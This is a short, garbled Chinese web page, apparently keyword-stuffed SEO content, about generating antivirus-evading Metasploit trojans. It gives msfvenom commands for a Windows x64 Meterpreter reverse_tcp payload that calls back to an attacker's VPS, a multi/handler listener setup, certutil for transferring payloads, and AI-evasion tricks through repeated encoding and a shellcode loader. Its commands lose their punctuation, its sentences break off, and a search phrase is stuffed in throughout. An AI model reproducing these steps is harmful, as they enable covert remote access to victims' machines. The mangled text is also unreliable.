在渗透测试中msfvenom生成apk免杀，Certutil 可以被用于多种操作例如msfvenom生成apk免杀，用户可以使用它将文件从一个系统复制到另一个系统msfvenom生成apk免杀，进行横向移动攻击工具或其他文件生成有效载荷msfvenom生成apk免杀，无论是可执行文件还是动态链接库文件，通过使用 msfvenom 等工具，可以将这些有效载荷与攻击机器的反向 TCP 连接相匹配在传输有效载荷时，Certutil 可以。
首先，生成一个免杀的MSF木马，使用命令 msfvenom p windowsx64meterpreterreverse_tcp LHOST= LPORT=4444 f exe expexe，其中LHOST是你的vps地址，LPORT是监听端口接着，配置MSF监听端口，使用命令 use exploitmultihandler，设置payload为payload windowsx64meterpreter。
在实践中，免杀策略可以通过多种途径实现一种方法是利用Metasploit框架中的MSF编码器，通过重新编码生成的木马，以避免被病毒检测引擎识别具体步骤包括使用`msfvenom`命令生成木马文件，然后通过MSF编码器对木马进行多次编码处理，确保生成的文件在不同反病毒引擎扫描下不易被识别最终，将生成的木马文件上。
工具地址 shellcodeloader 不想自己编译，就用工具作者自己编译的成品， realse MSF生成 bin 文件msfvenom p windowsx64meterpreter_reverse_tcp LHOST=IP LPORT=port f raw o 1bin 将生成好的木马 1bin 拖入 shellcodeloader 中，并勾选所需配置，配置的选择原项目中介绍的很清楚。
发表评论